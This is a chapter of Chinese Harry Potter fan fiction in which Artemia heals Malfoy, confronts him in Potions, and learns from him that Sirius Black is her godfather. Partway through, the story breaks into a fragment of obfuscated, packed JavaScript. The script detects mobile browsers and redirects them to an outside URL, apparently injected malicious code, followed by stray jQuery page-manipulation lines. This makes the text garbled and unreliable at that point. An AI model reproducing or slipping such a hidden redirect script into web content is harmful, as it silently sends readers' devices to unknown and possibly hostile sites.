“马尔福大喊大叫，坚持是海格教学失误害他受伤，帕金森还替他给老马尔福写了信。”阿尔特米亚回到格兰芬多塔楼的时候已经晚上八点了。她面色疲倦，脱掉沾着血和白鲜的长袍坐在沙发上。
“有吃的吗？”她感觉全身都快散架了，“我没吃晚饭，要饿死了。”
“我刚好给你拿了三明治。”哈利从袍子里掏出两个三明治，阿尔特米亚就着魔力补充剂开始狼吞虎咽。
“难以置信，这才是开学的第一天。”罗恩双眼无神地靠在沙发上，“我们吃完晚饭后去看了海格——他很不好，用酒把自己灌得很醉，还把脑袋插在冰桶里。”
“真糟糕。”阿尔特米亚喃喃道。
“他后来酒醒了，把我们骂了一顿，说他不值得我们冒着危险跑出城堡。”赫敏叹了口气，“他花了半个小时才认出我们，醉得不能再醉了。”
“好吧，我承认海格或许做得没那么好，毕竟他总是拿不准我们的命有多脆弱。”罗恩说，“但马尔福完全没理由解雇他——这明明是他的错！”
“没错，该死的马尔福。”哈利把阿尔特米亚脱下来的袍子折好，“这明明是我上过最好的保护神奇动物课。”
“这是你上的第一节，哈利。”赫敏提醒他。
“所以马尔福到底伤得怎么样？”哈利等阿尔特米亚吃完了才问。
“确实很重，这我不能否认。”阿尔特米亚说，“但是说实话，他后来的行为完全是在浪费白鲜香精。我的愈合咒是痛了一点，但是当时的情况他完全可以自己走回医疗翼。”
“不是一点痛。”曾经被痛晕过的罗恩很有发言权，“阿尔，愈合咒真的很痛。”
“马尔福就是事多！”赫敏不太高兴地看着罗恩，“或许你没有注意到，阿尔给他施了四道愈合咒，而他还要求阿尔给他镇痛！”
罗恩急忙道：“赫敏，我不是这个意——”
“阿尔上了一天的课，精神紧绷的情况下还要去处理他搞出来的烂摊子！她当时冷汗都出来了，这是短期魔力透支的表现！”赫敏愤怒道，“马尔福什么时候可以不那么讨厌！”
罗恩闭紧了嘴巴，感觉自己的冷汗也要下来了。
“好啦，让他等着吧。”阿尔特米亚拍拍赫敏的肩，现在只想好好洗个澡，“马尔福要是敢用这个理由继续刁难，我不会放过他的。”
*
尽管庞弗雷夫人说马尔福早就可以出院了，他还是装病逃了三天的课，一直到周四的上午才出现在魔药课堂上。
非常不幸，今年又轮到格兰芬多和斯莱特林一起上这节课，阿尔特米亚又被迫和马尔福坐到了一起。
“如果你不想我真的把你的手捏断，”阿尔特米亚盯着他吊起来的右臂，“那就把这个拆了。”
马尔福露出一个不怀好意的笑：“不，我依旧伤得很重。”
“是吗？”阿尔特米亚也笑了，伸手抓住了他用纱布包起来的手腕，“我给你检查一下。”
“教授！”马尔福立刻转头，“我需要一个人帮我切雏菊根，因为我的手腕——”
阿尔特米亚瞬间收紧手指，马尔福的手腕发出了他们两个才能听见的“咔咔”声。马尔福的话断在嘴里，面容扭曲，差点跪下去——阿尔特米亚拽着他的手腕把人提了起来。
斯内普已经走了过来，面容阴沉地盯着他们。
“我太担心了，”阿尔特米亚松开马尔福的手，把他的那份雏菊根也拿了过来，“看到他伤得这么重真的很难过——我会帮忙的，教授，德拉科是我的搭档呢。”
听到她叫自己“德拉科”，马尔福差点吐出来。
“希望你的魔药水平配得上这份善意，波特小姐。”斯内普冷冷道，又转向痛得在椅子上喘气的马尔福，“马尔福先生，如果你不想得到第一个不及格的成绩的话，我建议你用你完好的左手完成魔药的搅拌——我想没人比你更清楚波特小姐的水平。”
“……好的，教授。”马尔福龇牙咧嘴地站了起来。
阿尔特米亚切完了雏菊根，又开始给两个无花果削皮。马尔福看着她一言不发地把削好的无花果递给自己，嘲讽地开口：“我想你又偷偷去看你的朋友了？海格怎么样？”
“不关你的事。”阿尔特米亚头都不抬，照着黑板上的步骤开始榨取水蛭汁。
“他当不了多久老师了。”马尔福平静道，“爸爸对我受伤很不高兴。”
“如果我是你，至少会对自己的救命恩人客气一点。”阿尔特米亚转过头，“我不是在标榜自己有多高尚，但我觉得正常的人都该学会感激和尊重。”
“那个蠢货闯了祸，你只是不想让他受罚。”马尔福冷冷道，“跟救不救我有什么关系？”
“棒极了，很高兴你能认识到这一点。”阿尔特米亚冷笑了一声，“你说得对，无论是谁我都会救的。但我以为你至少会收敛一点，明白什么叫祸从口出。”
“只要解雇那个蠢货，我就不会因为一句话而受伤。”马尔福厉声道。
“那可说不定，”阿尔特米亚用研磨杵砸破水蛭的头，“毕竟你看，我说要捏断你的手，就真的会去那么做。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783382|134161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>马尔福停住了搅拌的手，阿尔特米亚也毫不退缩地看了回去，这一小块空间的时间仿佛凝固了。
几个坩埚外，纳威遇到了麻烦。他们这节课制作的缩小剂到这一步的时候应该变成明亮的绿色，而纳威的那锅却——
“橘黄色，隆巴顿。”斯内普舀了一些出来，然后让它们重新溅回坩埚里。
“告诉我，孩子，有什么东西能穿透你那颗榆木脑袋呢？”斯内普轻声道，“你难道没听见我说得很清楚，只需要一个脾脏吗？我难道没有明明白白地讲过，只要一点水蛭汁就够了吗？我到底要怎么做才能让你明白呢，隆巴顿？”
纳威面色绯红，被斯内普吓得瑟瑟发抖，眼看着就要哭出来了。
“圣人波特。”马尔福讥讽地看着站出来要求帮助纳威的赫敏，收回视线继续搅拌面前的药水，“我想你一定准备好单枪匹马去抓住布莱克了？抱歉，我忘了，还得再加上另一个圣人波特。”
“你想说什么？”阿尔特米亚不耐烦地看着他。
“没看到今天早上的《预言家日报》吗？布莱克在离霍格沃茨不远的一个麻瓜村庄被发现了。”马尔福慢慢道。他打量着阿尔特米亚的表情，像是发现了什么有趣的事情似的，“等等——他们难道连这件事都没告诉过你吗？”
“如果你指的是布莱克是冲哈利来的的话，”阿尔特米亚转过头，“那么对不起，你们都不会得逞的。哈利会活得好好的。”
“我当然不是指这个。”马尔福脸上的笑容扩大了，“好吧，不是说要我的感激吗？”
“我不需要你的感激。”阿尔特米亚厌恶道。
“你说了不算。”马尔福熄灭了坩埚下面的火，左手抓住阿尔特米亚的胳膊，把她往自己身边拉了一点——没拉动，于是他自己靠了过去。
“你不想知道为什么布莱克想要杀他吗？”马尔福低声道，阿尔特米亚勉强忍住没把他推开，“我刚好知道一些。”
“西里斯·布莱克，是我妈妈那个被除族的堂弟。”
阿尔特米亚转过头，这是她第一次知道马尔福的妈妈曾经姓布莱克。
“他也是你们的教父。”马尔福的声音很轻，似乎没有意识到自己说了什么话似的，“爸爸说，当年他和詹姆·波特，好得像是亲兄弟一样——可是最后，他却把他的亲兄弟出卖给了神秘人。”
“轰”地一声，阿尔特米亚感觉自己的大脑一片空白。
“你竟然不知道吗？”马尔福欣赏着她空白的神色，脸上的笑容越来越大，“阿尔特米亚，他可是你们唯一的亲人了。”